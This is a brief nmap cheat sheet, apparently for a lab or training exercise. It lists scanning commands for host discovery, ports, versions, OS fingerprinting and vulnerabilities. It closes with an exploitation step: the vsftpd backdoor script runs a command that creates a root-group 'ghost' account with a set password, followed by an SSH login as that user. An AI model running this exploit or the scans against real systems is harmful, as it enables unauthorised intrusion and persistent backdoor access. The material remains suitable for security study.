Nmap

```
# Host Discovery
nmap -sn 10.10.10.0/24
nmap -sn 10.10.10.0/24 --packet-trace
nmap -sn 10.10.10.0/24 -n

# Port Scanning
nmap 10.10.10.6 -p0-65535 -sT
nmap 10.10.10.6 -p0-65535 -sU
nmap 10.10.10.6 -p0-65535 -sT -Pn
nmap 10.10.10.6 -p0-65535 -sT --reason
nmap 10.10.10.6 -p0-65535 -sT --badsum
nmap 10.10.10.6 -p0-65535 -sS

# Version Scanning
nmap -sV 10.10.10.6
nmap -sV 10.10.10.6 -p T:21,22,80,443,1337
nmap -sV 10.10.10.6 -p U:53,69,123,161
nmap -sV 10.10.10.6 -Pn
nmap -A 10.10.10.6

# OS Fingerprinting
nmap -O 10.10.10.6
nmap -O 10.10.10.6 -T1
nmap -O 10.10.10.6 -T5
nmap -A 10.10.10.6

# Vulnerability Scanning
nmap --script vuln 10.10.10.6
ls /usr/share/nmap/scripts/
nmap -sC 10.10.10.6

# Exploitation
nmap --script vuln 10.10.10.6
nmap --script-help ftp-vsftpd-backdoor
echo 'cmd="useradd -g root -s /bin/bash ghost && echo ghost:boo | chpasswd"' > /home/victor/demo/haunt.txt
nmap --script ftp-vsftpd-backdoor --script-args-file=/home/victor/demo/haunt.txt 10.10.10.6 -p21
ssh ghost@10.10.10.6
```